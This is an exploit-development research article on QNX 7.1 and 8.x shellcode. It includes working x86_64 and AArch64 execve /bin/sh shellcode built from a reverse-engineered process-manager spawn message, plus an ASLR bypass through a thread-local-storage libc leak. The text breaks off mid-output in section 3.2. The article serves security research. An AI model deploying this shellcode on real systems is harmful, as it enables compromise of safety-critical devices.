Title : QNX Userland Shellcode Components
Author : Claes M Sjoberg
|=-----------------------------------------------------------------------=| |=----------------=[ QNX Userland Shellcode Components ]=----------------=| |=-----------------------------------------------------------------------=| |=----------------=[ Claes M Sjoberg (formerly Nyberg) ]=----------------=| |=----------------------=[ <[email protected]> ]=-----------------------=| |=-----------------------------------------------------------------------=| --[ Table of Contents ]---------------------------------------------------- 1 - Introduction 1.1 - Brief system design overview 1.2 - Process abilities 2 - I want my execve(2) 2.1 - The MsgSend syscall 2.2 - QNX 8.x x86_64 execve /bin/sh shellcode 2.3 - QNX 8.x AArch64le execve /bin/sh shellcode 3 - What about libc functions? 3.1 - Resolving ELF functions 3.2 - Where is libc mapped? 3.3 - ELF resolver execve /bin/sh shellcode 3.4 - Finding ldqnx.so 3.5 - ELF resolver bindshell shellcode 3.6 - ELF resolver connect back shellcode 4 - Staged shellcode 4.1 - Allocating memory 4.2 - Reading from a file descriptor 4.3 - QNX x86_64 Stage loader shellcode 4.4 - QNX AArch64le Stage loader shellcode 4.5 - Testing 5 - Conclusion References Appendix A - QNX 8.04 Default Process abilities Appendix B - msgsend_spawn.c Appendix C - Source code --[ 1 - Introduction ]----------------------------------------------------- The QNX Neutrino hard real-time operating system has been around since 1982 and became closed source when it was acquired by RIM/BlackBerry in April 2010. Today it is a cornerstone of BlackBerry's business with a significant growth in software-defined vehicles and industrial automation where safety and high performance are of great concern. The latest release at the time of writing is 8.04 (March 2026) which is optimized for x86-64 and 64-bit ARM processors. The previous 7.1 release from 2020 included a lot of security related improvements, many based on the research "Dissecting QNX" from 2018 [1], which disclosed a lot of limitations in the exploit mitigation implementations at the time. Today QNX has the common mitigations such as ASLR, stack canaries, full RELRO, etc. that are available on most modern operating systems. This article is aimed at writing portable and stable userland shellcode for QNX 8.04, 8.00 and 7.1 on x86_64 and AArch64le including QNX OS for Safety. It will be shown that this is not as straightforward as writing for traditional UNIX-like systems that use fixed syscall numbers for POSIX functionality, but that there still are interesting ways to provide both portability and stability. --[ 1.1 - Brief system design overview QNX is a microkernel, and message passing is the main IPC and the backbone of the operating system. For example, POSIX routines are offloaded to the C library, which provides wrappers for relevant system calls. Simply put, there is no execve system call available at a known, stable offset in the syscall array for spawning a shell. The functionality of the implemented system calls is somewhat limited compared to a monolithic kernel; the full list of prototypes can be found in the header file sys/neutrino.h. The message passing system calls are represented by the function names starting with 'Msg', and there are a total of 61 of them in the 8.04 release. The two most important ones for this article are: long MsgSend(int coid, void *msg, size_t sbytes, void *rmsg, size_t rbytes); long MsgSendvnc(int coid, iov_t* siov, size_t sparts, iov_t* riov, size_t rparts); In short, MsgSend() sends a single message and MsgSendvnc() sends a list of messages to the connection id represented by coid. The full description for each of them is available in the QNX C Library Reference [2]. Each process makes use of managers when communicating with the kernel. The process manager is the central authority and runs combined with the kernel and is used for operations related to processes, such as creation, destruction, attributes and abilities (more about abilities later). /* * According to the documentation: "The process manager is the only one * allowed to create a thread in another process." * * That is something to look into in the next article, but let's leave it * at that for now. */ The file system resource managers run in userspace and handle operations related to mount points in the file system, and the device resource managers handle single file entries in the file system, each of which is registered with the process manager. When a process is created, a connection to the process manager is established by default (it is called a side channel since the descriptor is not a regular file descriptor). This channel is mostly used by the system library (libc) for communicating with the process manager for related operations. The connection ID flag value 0x40000000 is reserved for this purpose to avoid confusion with standard file descriptors. The first side channel opened has id 0 with the flag set, and the next side channel opened will have the value 0x40000001 and so on and so forth. If the default connection with the process manager for some reason does not exist or is unavailable, it can be created with the ConnectAttach function [8]: #include <sys/neutrino.h> int coid = ConnectAttach(0, PROCMGR_PID, PROCMGR_CHID, _NTO_SIDE_CHANNEL, 0); if (coid == -1) { perror("ConnectAttach to procmgr"); return -1; } The constant PROCMGR_PID is the PID of the process manager, typically 1, and the PROCMGR_CHID is the channel ID, also typically 1. The _NTO_SIDE_CHANNEL value is used to create an internal connection (side channel) that is not managed as a standard file descriptor. --[ 1.2 - Process abilities QNX provides a granular set of 80+ different process abilities [3]. The main tool to display information about processes in the system including abilities is the pidin utility [4]. Let's look at a small program and investigate the default settings for a userland process started as a regular local user. -- Begin nothing.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(void) { printf("PID=%d, press enter to terminate\n", getpid()); getchar(); } -- End -- Terminal (compile on Linux): $ qcc -Vgcc_ntox86_64 -Wall -o nothing nothing.c -- Terminal (start the nothing program) $ uname -a QNX qnx804 8.0.0 2026/02/27-11:02:56EST x86pc x86_64 $ id uid=1001(user1) gid=1001(user1) groups=1001(user1) $ ./nothing PID=17678367, press enter to terminate The abilities of the process can be examined with the pidin utility as root. The abilities that require root are ignored in the command below (the complete output can be found in [Appendix A]), which leaves the default ones for a regular user: -- Terminal (list non-root abilities for the nothing program) # pidin -p 17678367 abilities | grep 'RN--' spawn RN-- fork RN-- prot_exec RN-- pgrp RN-- map_fixed RN-- rconstraint RN-- public_channel RN-- runstate_burst RN-- prot_write_and_exec RN-- untrusted_exec RN-- sigev_thread RN-- network/jailroot RN-- The information that follows the ability name shown here is a four-character description of its properties and uses the following values: R - Process has the ability when its effective user ID is 0. N - Process has the ability when it has an effective user ID other than 0. L - Ability is locked. I - Ability is inherited by a spawn or exec. D - Indicates a custom ability * (asterisk) - Ability will always be denied because it has not yet been created by a call to procmgr_ability_create(), even if it has R or N. According to the list, a process has the default abilities to spawn, fork and mmap (map_fixed) memory among some other things. This is enough information at this point, as there are privileges/abilities to spawn a new process from an arbitrary process by default. Process abilities can be adjusted when a process is created. The root user can use the on utility [5] to modify the default values, for instance to remove the spawn ability for non-root users in the nothing.c program, the program can be started like this with uid 1001: -- Terminal (starting the nothing program without spawn ability) # on -u 1001 -A nonroot,deny,spawn ./nothing PID=23887901, press enter to terminate -- Terminal (list selection of abilities for PID 23887901) # pidin -p 23887901 abilities | grep -E 'spawn |RN--' spawn R--- fork RN-- prot_exec RN-- pgrp RN-- map_fixed RN-- rconstraint RN-- public_channel RN-- runstate_burst RN-- prot_write_and_exec RN-- untrusted_exec RN-- sigev_thread RN-- network/jailroot RN-- A permanent way of setting abilities for certain programs is by creating a system security policy file [6] using the secpolgenerate program. The file can then be compiled using the secpolcompile utility to enhance system security beyond traditional controls which is applied when the system is booted. Abilities can also be modified programmatically using the procmgr_ability C library function [7]. It can be used to both drop and activate abilities from within a process. Enough of this, time to investigate how to get some shellcode running on the system. --[ 2 - I want my execve(2) ]---------------------------------------------- What about the execve() call, how is it actually implemented? And, for starters, is there a way to get away with execve("/bin/sh", NULL, NULL) and perhaps save some space by omitting some arguments? Let's try it out: int main(void) { execve("/bin/sh", NULL, NULL); perror("execve"); } $ ./exec execve: Invalid argument After playing around with different arguments it turns out that the minimum requirements for the execve() call to succeed are to provide the path and argv[0] string and leave envp as NULL. Digging deeper into the implementation of execve, and loading QNX 8.04 libc into Ghidra, it is easy to see that execve() actually calls the spawn() function: int execve(char *path,char **argv,char **envp) { void *pvVar1; pid_t pVar2; spawn_inheritance_type attr; pvVar1 = __stack_chk_guard; attr.flags = 0x10000; pVar2 = spawn(path,0,NULL,&attr,argv,envp); <-- if (pvVar1 == __stack_chk_guard) { return pVar2; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } The spawn function is massive, about 330 lines of Ghidra decompiled code. Skimming through it reveals that it uses the global environ variable to populate the environment if the argument envp is set to NULL. Apart from that, it calls MsgSendvnc() to send the data to the process manager. 1 pid_t spawn(char *path,int fd_count,int *fd_map, inheritance *inherit,char **argv,char **envp) 2 { [...] 129 if (envp == NULL) { <-- 130 envp = environ; [...] 287 iVar18 = 0x100; 288 while( true ) { 289 *(undefined8 *)((long)ppiVar20 + -8) = 0x15b074; 290 MsgSendvnc(); <-- 291 if (-1 < extraout_EAX_00) break; 292 *(undefined8 *)((long)ppiVar20 + -8) = 0x15b055; 293 piVar9 = __get_errno_ptr(); [...] So, let us create a program that calls execve() with the required path, argv and a minimal environment and see what is going on using gdb. #define PATH_STR "/bin/sh" #define ENV_STR "PATH=/proc/boot:/system/bin" void proc_spawn() { char *av[2]; char *ev[2]; av[0] = PATH_STR; av[1] = NULL; ev[0] = ENV_STR; ev[1] = NULL; execve(PATH_STR, av, ev); } Setting a breakpoint before the call to MsgSendvnc() allows us to dump all the messages in the vector. The connection ID used is shown to be 1073741824, which is 0x40000000, the reserved ID for the connection to the process manager. Breakpoint 2, 0x000000010009606f in MsgSendvnc (__rparts=0, __riov=0x0, __sparts=5,__siov=0x81a80, __coid=1073741824) [...] (gdb) print __siov[0] $1 = {{iov_base = 0x81b20, iov_base_const = 0x81b20}, iov_len = 32} (gdb) print __siov[1] $2 = {{iov_base = 0x81b40, iov_base_const = 0x81b40}, iov_len = 136} (gdb) print __siov[2] $3 = {{iov_base = 0x80487aa, iov_base_const = 0x80487aa}, iov_len = 8} (gdb) print __siov[3] $4 = {{iov_base = 0x80487aa, iov_base_const = 0x80487aa}, iov_len = 8} (gdb) print __siov[4] $5 = {{iov_base = 0x80487b2, iov_base_const = 0x80487b2}, iov_len = 28} (gdb) x/32bx 0x81b20 0x81b20: 0x10 0x00 0x06 0x00 0x08 0x00 0x01 0x00 0x81b28: 0x01 0x00 0x00 0x00 0x0e 0x00 0x00 0x00 0x81b30: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x81b38: 0x24 0x00 0x00 0x00 0x88 0x00 0x00 0x00 (gdb) x/136bx 0x81b40 0x81b40: 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x00 0x81b48: 0xff 0xff 0xff 0xff 0x28 0x00 0x00 0x00 0x81b50: 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0x81b58: 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0x81b60: 0xc0 0x7f 0x0e 0x00 0x01 0x00 0x00 0x00 0x81b68: 0x30 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x81b70: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x81b78: 0x80 0x1c 0x08 0x00 0xdd 0xff 0x08 0x00 0x81b80: 0xe8 0x9d 0x04 0x08 0x00 0x00 0x00 0x00 0x81b88: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x81b90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x81b98: 0xc8 0x7f 0x0e 0x00 0x01 0x00 0x00 0x00 0x81ba0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x81ba8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x81bb0: 0xfe 0xff 0xff 0xff 0x00 0x00 0x00 0x00 0x81bb8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x81bc0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 (gdb) x/8bx 0x80487aa 0x80487aa: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00 (gdb) x/8bx 0x80487aa 0x80487aa: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00 (gdb) x/28bx 0x80487b2 0x80487b2: 0x50 0x41 0x54 0x48 0x3d 0x2f 0x70 0x72 0x80487ba: 0x6f 0x63 0x2f 0x62 0x6f 0x6f 0x74 0x3a 0x80487c2: 0x2f 0x73 0x79 0x73 0x74 0x65 0x6d 0x2f 0x80487ca: 0x62 0x69 0x6e 0x00 --[ 2.1 - The MsgSend syscall The call to MsgSendvnc() above can be replaced with a single call to MsgSend() by combining all the buffers into a single chunk to spawn a shell as shown by the program in [Appendix B]. So before moving on, there are two main questions that have to be answered: what syscall number does MsgSend() have, and is it stable across OS releases? Since QNX adheres to the standard CPU-specific Application Binary Interfaces (ABIs), such as the ARM AAPCS for ARMv8 and the System V ABI for x86-64, it should be easy to find out by looking in the libc implementation for the various architectures. This is how the MsgSend wrapper is implemented in libc for QNX 8.04, 8.00 and 7.1 on x86-64: void MsgSend(void) 0014f950 49 89 ca MOV R10,RCX 0014f953 48 f7 da NEG RDX 0014f956 49 f7 d8 NEG R8 0014f959 b8 0b 00 MOV EAX,0xb 00 00 0014f95e 0f 05 SYSCALL 0014f960 c3 RET And this is how the MsgSend wrapper is implemented in libc for QNX 8.04, 8.00 and 7.1 on AArch64: void MsgSend(void) 0015001c e2 03 02 cb neg x2,x2 00150020 e4 03 04 cb neg x4,x4 00150024 68 01 80 52 mov w8,#0xb 00150028 21 0a 00 d4 svc #0x51 0015002c c0 03 5f d6 ret From that it is clear that both architectures use the syscall number 11 for MsgSend, and that it seems to be stable both across releases and architectures. QNX MsgSend syscall number +------+-----------+---------+ | | AArch64 | x86_64 | +------+-----------+---------+ | 7.1 | 0xb | 0xb | +------+-----------+---------+ | 8.0 | 0xb | 0xb | +------+-----------+---------+ | 8.04 | 0xb | 0xb | +------+-----------+---------+ Now, this seems straightforward. Reading the header file sys/procmsg.h on 8.04 should be enough to use struct _proc_spawn and identify the contents of the buffers and learn how it could be optimized to reduce size before writing this in assembler and generating the shellcode. /* * Message of _PROC_SPAWN/_PROC_SPAWN_START */ struct _proc_spawn { _Uint16t type; _Uint16t subtype; _Uint16t searchlen; _Uint16t pathlen; struct __msg_inheritance parms; _Uint16t nfds; _Uint16t nargv; _Uint16t narge; _Uint16t reserved; _Uint32t nbytes; /* _Int32t fd_map[nfds] */ /* char search[searchlen] */ /* char path[pathlen] */ /* char argv[nargv][] */ /* char arge[narge][] */ }; Unfortunately, that is not the case. The struct _proc_spawn header is 112 bytes (before fd_map), and there are 168 bytes before the path "/bin/sh" (no fd_map) in the hexdump, which leaves 56 bytes unexplained. There seems to be a great mismatch between the provided _proc_spawn struct and how the data is actually sent to the process manager. After all, this is not the intended use case since programs are supposed to go through the libc functions rather than talking directly to the process manager. Because of that, it is not really surprising that the internal data processing differs. Running MsgSend with other executable paths and environment strings gives more insight into how the data might be structured, but most important, it also shows how some fields might be set to zero without interfering with spawning the shell. Some of them even seem to be ignored by the process manager. Another detail is that the environment cannot be empty, or the "Invalid argument" error will be returned when calling MsgSend. After analyzing the results, the following draft struct appears: #define PATH_STR "/bin/sh" #define ENV_STR "PATH=/proc/boot:/system/bin" void msgsend_spawn() { int ret; static struct { uint16_t type; uint16_t subtype; uint16_t pathlen; uint16_t searchpath; /* Process related settings */ uint32_t flags; uint32_t pgroup; uint64_t sigmask; uint32_t strlens; /* Total length of path and environ */ uint32_t constant; /* Seems to be an internal length variable*/ uint32_t sigignore; uint32_t posixflags; /* _PROC_SPAWN_EXEC ? */ uint32_t stackmax; uint32_t policy; uint64_t runmask; /* Unknown/Ignored, zero data */ uint8_t unknown[96]; /* These do not have to be set * and can all be zero */ uint16_t nfds; uint16_t nargv; uint16_t narge; uint16_t reserved; uint32_t totbytes; uint32_t pad; /* Pad to 8 byte boundary */ char path[sizeof(PATH_STR)]; char argv[sizeof(PATH_STR)]; char envp[sizeof(ENV_STR)]; } __attribute__((packed)) msg = { .type = 0x0010, /* _PROC_SPAWN */ .subtype = 0x0006, /* _PROC_SPAWN_START */ .pathlen = sizeof(PATH_STR), .searchpath = 0x0001, /* Must be 1 */ .flags = 0x00000000, .pgroup = 0x00000000, .sigmask = 0x0000000000000000, .strlens = sizeof(PATH_STR) + sizeof(ENV_STR), .constant = 0x00000088, .sigignore = 0x00000000, .posixflags = 0x00010000, /* Constant */ .stackmax = 0x00000000, .policy = 0x00000000, .runmask = 0x0000000000000000, .unknown = {0}, .nfds = 0x0000, .nargv = 0x0000, .narge = 0x0000, .reserved = 0x0000, .totbytes = 0x00000000, .pad = 0x00000000, .path = PATH_STR, .argv = PATH_STR, .envp = ENV_STR, }; printf("Calling MsgSend with %lu bytes\n", sizeof(msg)); ret = MsgSend(0x40000000, (void *)&msg, sizeof(msg), NULL, 0); printf("ret=%d %s\n", ret, strerror(errno)); } Some of these fields are just guesses, and there is quite a bit of data that is unknown but surprisingly many bytes that can be zero. Trimming the struct and testing further finally yields the following optimal function: /* * Spawn path using direct message to process manager * Maximum length of path to executable + ENVPATH is * 255 bytes for simplicity. */ int msgsend_spawnpath(char *path) { #define ENVPATH "PATH=/proc/boot:/system/bin" uint8_t *msg; size_t totlen; size_t pathlen; pathlen = strlen(path)+1; if (pathlen > 254) return -1; if ( (pathlen + sizeof(ENVPATH)) > 255) return -1; totlen = 168; totlen += (pathlen * 2); totlen += sizeof(ENVPATH); if ( (msg = (uint8_t *)calloc(1, totlen)) == NULL) return -1; /* Set constants */ msg[0] = 0x10; msg[2] = 0x06; msg[6] = 0x01; msg[28] = 0x88; msg[38] = 0x01; /* Set required values */ msg[4] = pathlen; msg[24] = pathlen + sizeof(ENVPATH); /* Copy path and environment strings */ memcpy(&msg[168], path, pathlen); memcpy(&msg[168+pathlen], path, pathlen); memcpy(&msg[168+(pathlen*2)], ENVPATH, sizeof(ENVPATH)); printf("[+] spawning %s\n", path); MsgSend(0x40000000, (void *)msg, totlen, NULL, 0); perror("MsgSend()\n"); return -1; } The msgsend_spawnpath function can be used to exec any file, and it works on both x86_64 and AArch64 for QNX 8.04 and 8.0 (providing arguments is left as an exercise for the reader). Adding it to the msgsend-spawnpath.c file and calling it from main shows that it is working as expected: -- Terminal (msgsend_spawnpath on x86_64) $ uname -a QNX qnx804 8.0.0 2026/02/27-11:02:56EST x86pc x86_64 $ ./msgsend_spawnpath /bin/sh [+] spawning /bin/sh $ exit $ ./msgsend_spawnpath /system/bin/id [+] spawning /system/bin/id uid=1001(user1) gid=1001(user1) groups=1001(user1) $ -- Terminal (msgsend_spawnpath on AArch64) $ uname -a QNX localhost 8.0.0 2025/07/30-19:17:34EDT RaspberryPi4B AArch64le $ ./msgsend_spawnpath /bin/sh [+] spawning /bin/sh $ exit $ ./msgsend_spawnpath /usr/bin/id [+] spawning /usr/bin/id uid=1000(qnxuser) gid=1000(qnxuser) groups=1000(qnxuser) $ --[ 2.2 - QNX 8.x x86_64 execve /bin/sh shellcode Now all the pieces are in place for writing the first QNX shellcode. As mentioned above, QNX adheres to the System V ABI for x86-64, so setting up the MsgSend buffer and additional arguments before doing a syscall for number 11 should be the way to go. Also, remember the requirement to negate some of the registers, as shown in the libc wrapper function. Apart from that it is a good idea to align the stack since the shellcode might end up being executed from strange places, and x86_64 requires the stack to be aligned to a 16 byte boundary. The final shellcode is 161 bytes, and it is a good starting point for adapting and optimizing for future needs. # # QNX 8x. # MsgSend(0x40000000, (void *)&msg, sizeof(msg), NULL, 0) # MsgSend(%rdi, %rsi, %rdx, %r10, %r8) # # Align stack to 16 byte boundary pushq %rax pushq %rax andq $-16, %rsp # Align down to 16 byte boundary # Build up the message to send using MsgSend() onto the stack. # Since the stack grows towards lower addresses, we start # from the end and build up all the required fields with as # many bytes set to zero as possible. # envp {"PATH=/proc/boot:/system/bin"} movabs $0x6e6962, %rax pushq %rax # "bin\x00\x00\x00\x00\x00" movabs $0x2f6d65747379732f, %rax pushq %rax # "/system/" movabs $0x3a746f6f622f636f, %rax pushq %rax # "oc/boot:" movabs $0x72702f3d48544150, %rax pushq %rax # "PATH=/pr" # argv {"/bin/sh"} movabs $0x68732f6e69622f2f, %rax # '/bin/sh' shr $8, %rax # NUL terminate string pushq %rax # path "/bin/sh" pushq %rax # nfds, nargv, narge, reserved, totbytes, pad # ignored by process manager, can be zero xorq %rax, %rax pushq %rax pushq %rax # Mixed/unknown data (that can be zero), 96 bytes pushq %rax pushq %rax pushq %rax pushq %rax pushq %rax pushq %rax pushq %rax pushq %rax pushq %rax pushq %rax pushq %rax pushq %rax # Process related settings pushq %rax # runmask pushq %rax # stackmax, policy movq $0x0001000000000000, %rax # constant pushq %rax # # The 0x24 at the end of this uint64_t is # strlen(path) + 1 + strlen(envp[0]) + 1 # So modify this and pathlen below if you want to exec # anything else but /bin/sh movq $0x0000008800000024, %rax # %rax = constant + strlen.. pushq %rax # More zeroes xorq %rax, %rax pushq %rax pushq %rax # type, subtype, pathlen and searchpath movq $0x0001000800060010, %rax pushq %rax # Set up all syscall arguments # MsgSend(0x40000000, (void *)&msg, sizeof(msg), NULL, 0) # MsgSend(%rdi, %rsi, %rdx, %r10, %r8) movq $0x40000000, %rdi # coid (process manager) movq %rsp, %rsi # &msg movq $0xd4, %rdx # sizeof(msg) xorq %r10, %r10 # NULL xorq %r8, %r8 # 0 neg %rdx # As done in MsgSend() in libc neg %r8 # As done in MsgSend() in libc movq $0xb, %rax # MsgSend syscall number (11) syscall Taking it for a spin on the system returns a prompt as expected: $ uname -a QNX qnx804 8.0.0 2026/02/27-11:02:56EST x86pc x86_64 $ ./execve_binsh $ $ env _=/system/bin/env PATH=/proc/boot:/system/bin $ --[ 2.3 - QNX 8.x AArch64le execve /bin/sh shellcode One thing notable when writing the execve shellcode for QNX AArch64, is that QNX uses the 0x51 (ASCII for 'Q') svc number for system calls, instead of 0x0. The outcome is exactly the same as for 0x0 though. The 0x0 is supported to follow the generic ARM convention and handle legacy environments and compiler-generated code or hypervisor transitions. The QNX vector trap uses 0x51 as a fast-path validation marker to ensure the trap explicitly originated from an intended QNX system call routine, and it is hardcoded across libc implementations and kernel callouts. // Build up the message to send using MsgSend() onto the stack. // Since the stack grows towards lower addresses, we start // from the end and build up all the required fields with as // many set to zero as possible. // // envp {"PATH=/proc/boot:/system/bin"} // // "bin\x00\x00\x00\x00\x00" -> 0x00000000006e6962 movz x0, #0x6962, lsl #0 movk x0, #0x006e, lsl #16 // Store first string on stack // together with a zero value eor x1, x1, x1 stp x0, x1, [sp, #-16]! // "/system/" -> 0x2f6d65747379732f movz x1, #0x732f, lsl #0 movk x1, #0x7379, lsl #16 movk x1, #0x6574, lsl #32 movk x1, #0x2f6d, lsl #48 // "oc/boot:" -> 0x3a746f6f622f636f movz x0, #0x636f, lsl #0 movk x0, #0x622f, lsl #16 movk x0, #0x6f6f, lsl #32 movk x0, #0x3a74, lsl #48 // Next two uint64_t values stp x0, x1, [sp, #-16]! // // "PATH=/pr" -> 0x72702f3d48544150 // movz x0, #0x4150, lsl #0 movk x0, #0x4854, lsl #16 movk x0, #0x2f3d, lsl #32 movk x0, #0x7270, lsl #48 // // argv {"/bin/sh"} // movz x1, #0x0068, lsl #48 // 0x0068 movk x1, #0x732f, lsl #32 // 0x732f movk x1, #0x6e69, lsl #16 // 0x6e69 movk x1, #0x622f, lsl #0 // 0x622f // Push rest of envp and argv stp x1, x0, [sp, #-16]! // path "/bin/sh" add x0, x1, #0 // nfds, nargv, narge, reserved, totbytes, pad // ignored by process manager, can be zero eor x0, x0, x0 // push path and zero stp x0, x1, [sp, #-16]! // push 7 times 2*uint64_t as zero eor x1, x1, x1 stp x1, x0, [sp, #-16]! stp x1, x0, [sp, #-16]! stp x1, x0, [sp, #-16]! stp x1, x0, [sp, #-16]! stp x1, x0, [sp, #-16]! stp x1, x0, [sp, #-16]! stp x1, x0, [sp, #-16]! // 0x0001000000000000 constant movz x0, #0x0001, lsl #48 // 0x0001 // Add to stack // 0x0000000000000000 zero // 0x0001000000000000 constant stp x0, x1, [sp, #-16]! // The 0x24 at the end of this uint64_t is // strlen(path) + 1 + strlen(envp[0]) + 1 // So modify this if you want to exec anything else but /bin/sh // 0x0000 0088 0000 0024 movz x1, #0x0088, lsl #32 movk x1, #0x0024, lsl #0 // strlen(path)+1+strlen(envp[0])+1 // Add to stack // 0x0000008800000024 // 0x0000000000000000 zero eor x0, x0, x0 stp x0, x1, [sp, #-16]! // type, subtype, pathlen and searchpath // 0x 0001 0008 0006 0010 movz x1, #0x0001, lsl #48 movk x1, #0x0008, lsl #32 movk x1, #0x0006, lsl #16 movk x1, #0x0010, lsl #0 // Add to stack // 0x0000000000000000 zero // 0x0001000800060010 type, subtype, pathlen and searchpath stp x1, x0, [sp, #-16]! // MsgSend(0x40000000, (void *)&msg, sizeof(msg), NULL, 0) // MsgSend(x0, x1, x2, x3, x4) movz x0, #0x4000, lsl #16 // 0x40000000 add x1, sp, #0 // &msg movz x2, #0x00d4, lsl #0 // sizeof(msg) eor x3, x3, x3 // NULL eor x4, x4, x4 // 0 neg x2, x2 neg x4, x4 mov w8, #0x0b // syscall number 11 svc #0x51 // QNX Kernel Callout (instead of #0) When testing it on QNX 8.0 (but built for QNX 8.04) it shows that the environment has been modified by either libc or the kernel. Does not really matter, and it still works. -- Terminal (Linux build environment) $ ntoaarch64-as -o execve_binsh.o execve_binsh.s $ qcc -Vgcc_ntoaarch64le -nostdlib -o execve_binsh execve_binsh.o -- Terminal (Logged into QNX) $ uname -a QNX localhost 8.0.0 2025/07/30-19:17:34EDT RaspberryPi4B aarch64le $ ls -al /var/tmp/execve_binsh -rwxr-xr-x 1 qnxuser qnxuser 5704 1970-01-11 18:05 /var/tmp/execve_binsh $ /var/tmp/execve_binsh $ env _=/usr/bin/env PATH=/proc/boot:/sbin:/bin:/usr/bin:/usr/sbin:/usr/libexec --[ 3 - What about libc functions? ]--------------------------------------- The C library is the main gateway for all kernel interaction in QNX. Instead of talking directly to the process manager it would be nice to be able to call C library functions to simplify writing more complex payloads. After all, all that work just managed to spawn a shell (or some other program) after going through all the analysis of the data sent to the process manager. The reader might already have noticed that the shellcode for QNX 8.x that was developed above does not even work on 7.1. Everything has to be done all over again to support 7.1 since the structure of the data is unknown. There must be a better way. Let's assume that the address of libc in memory is known (hang on though, it will get better), and see how that could be leveraged when writing shellcode. --[ 3.1 - Resolving ELF functions Since QNX uses the ELF format it should be pretty straightforward to find functions from the address of where libc is mapped by using a hash value of the target symbol and just walk the dynamic entries to find symtab, strtab and the symbol entry to return the exact address. So let's assume that these functions are available: uint32_t calc_hash(const char *str) void *getsym(const void *elf_base, uint32_t tgt_hash) Although the result will be a bit large, the shellcode can be implemented in C by compiling it as position-independent code and then dumping the instructions. The "main" shellcode function is placed at the top of the file, the helper functions below and a dummy symbol to mark the end of the shellcode. The x86_64 execve /bin/sh shellcode implementation will then look like this: -- Begin elf_execve.c [...] /* * ELF structs and constants go here for portability, * they are removed to save some space */ [...] /* Hashes for all the symbols used */ #define HASH_EXECVE 0xd1b41b25 /* Symbols used */ typedef struct syms { /* libc.so */ int (*execve)(const char *, char **, char **); } syms_t; /* Local routines */ static uint32_t calc_hash(const char *); static void *getsym(const void *, uint32_t); static void *find_elf_base(const void *); static void *get_tls(void); static void *get_libc_base(void); /* Symbol resolver macro */ #define GETSYM(_save, _base, _hash) \ { \ if ( ((_save) = getsym((_base), (_hash))) == NULL) \ return -1; \ } /* * Start of shellcode. */ int shellcode_start() { syms_t sm; char path[8]; char *av[2]; void *libcbase; if ( (libcbase = get_libc_base()) == NULL) return -1; GETSYM(sm.execve, libcbase, HASH_EXECVE); path[0] = '/'; path[1] = 'b'; path[2] = 'i'; path[3] = 'n'; path[4] = '/'; path[5] = 's'; path[6] = 'h'; path[7] = '\0'; av[0] = path; av[1] = NULL; sm.execve(path, av, NULL); return -1; } [...] /* * The functions calc_hash(), getsym() and get_libc_base() * go here, they are just removed to save some space. */ [...] /* Symbol to mark end of shellcode */ void shellcode_end() {} -- End of elf_execve.c The code starts by specifying the hash and the prototypes for the functions that are going to be used in the syms_t structure. The shellcode_start() function is the actual start of the shellcode. Only local variables are used and the path is defined directly onto the stack before resolving the address of the execve function and calling it to spawn a shell. To dump the shellcode, the memory is traversed from the symbol shellcode_start to shellcode_end and all the bytes in between are written to the terminal. Sure, all that seems OK, but this is not so fun with ASLR enabled, which QNX makes use of by default. So how can ASLR be bypassed in this context reliably? --[ 3.2 - Where is libc mapped? Digging through the QNX C library for some other reason I stumbled upon their implementation of thread local storage. Thread local storage is a way of declaring thread specific variables. In gcc and qcc [9,a] you can use the attribute __thread on a variable to make sure that there is one instance of that variable per thread at runtime. This information and more is stored in a struct which is defined in sys/storage.h on QNX and looks like this in release 8.x: /* * Thread local storage. * This data is at the top of each thread's stack. * __errptr is a pointer to errno, which is located in libc * for the main thread. */ struct _thread_local_storage { _Sizet __stacksize; void *__arg; int *__errptr; int __errval; /* Not used for main() thread. */ unsigned __flags; int __pid; int __tid; unsigned __owner; void *__stackaddr; unsigned __guardsize; unsigned __numkeys; void **__keydata; /* Indexed by pthread_key_t */ void *__cleanup; void *__pt_tsd; void *__ldd_data; /* Used by the ldd. */ //__sa_action_func_t *__sigaction; void *__sigaction; void *__muon_reserved; void *__cxa_atexit_data; }; From the comment it shows that this is stored at a fixed relative location, namely at the top of each thread's stack. Ok, sure, but there is still ASLR, so the stack address is randomized. But, yeah, the stack could be scanned until the struct is encountered of course. Reading sys/storage.h a bit closer, the following is revealed: /* * Routine to return pointer to thread local storage structure. */ extern struct _thread_local_storage *__tls(void) __attribute__((__const__)); The libc function __tls() returns a pointer to the thread local storage structure. Let's print the values in the struct and see what it looks like on QNX 8.0.4 x86_64: --[ Main thread Thread Local Storage: 0x36b0b27f00 (__tls() == 0x36b0b27f00) __stacksize ......... 0x80000 __arg ............... 0xffff80000534e580 __errptr ............ 0x1a9582d800 __errval ............ 3 __flags ............. 0x0 __pid ............... 6672416 __tid ............... 1 __owner ............. 1344274433 __stackaddr ......... 0x36b0aa8000 __guardsize ......... 4096 __numkeys ........... 0 __keydata ........... 0x0 __cleanup ........... 0x0 __pt_tsd ............ 0x1a95828f80 __ldd_data .......... 0x0 __sigaction ......... 0x0 __muon_reserved ..... 0 __cxa_atexit_data ... 0x0 There seems to be some useful information in there. Investigating this further shows that __errptr points inside libc, so there is actually a somewhat stable location of a leak. However, there are different values for the main thread and new threads. For threads other than main __errptr is actually stored on the stack. But as we will see later, there are other valuable leaks to consider if the tls struct for some reason should not contain any libc pointers. But stick with what we have for now. --[ New thread Thread Local Storage: 0x36b0b69e40 (__tls() == 0x36b0b69e40) __stacksize ......... 0x40000 __arg ............... 0x36b0b27c18 __errptr ............ 0x36b0b69e58 __errval ............ 0 __flags ............. 0x800 __pid ............... 6672416 __tid ............... 2 __owner ............. 1344274434 __stackaddr ......... 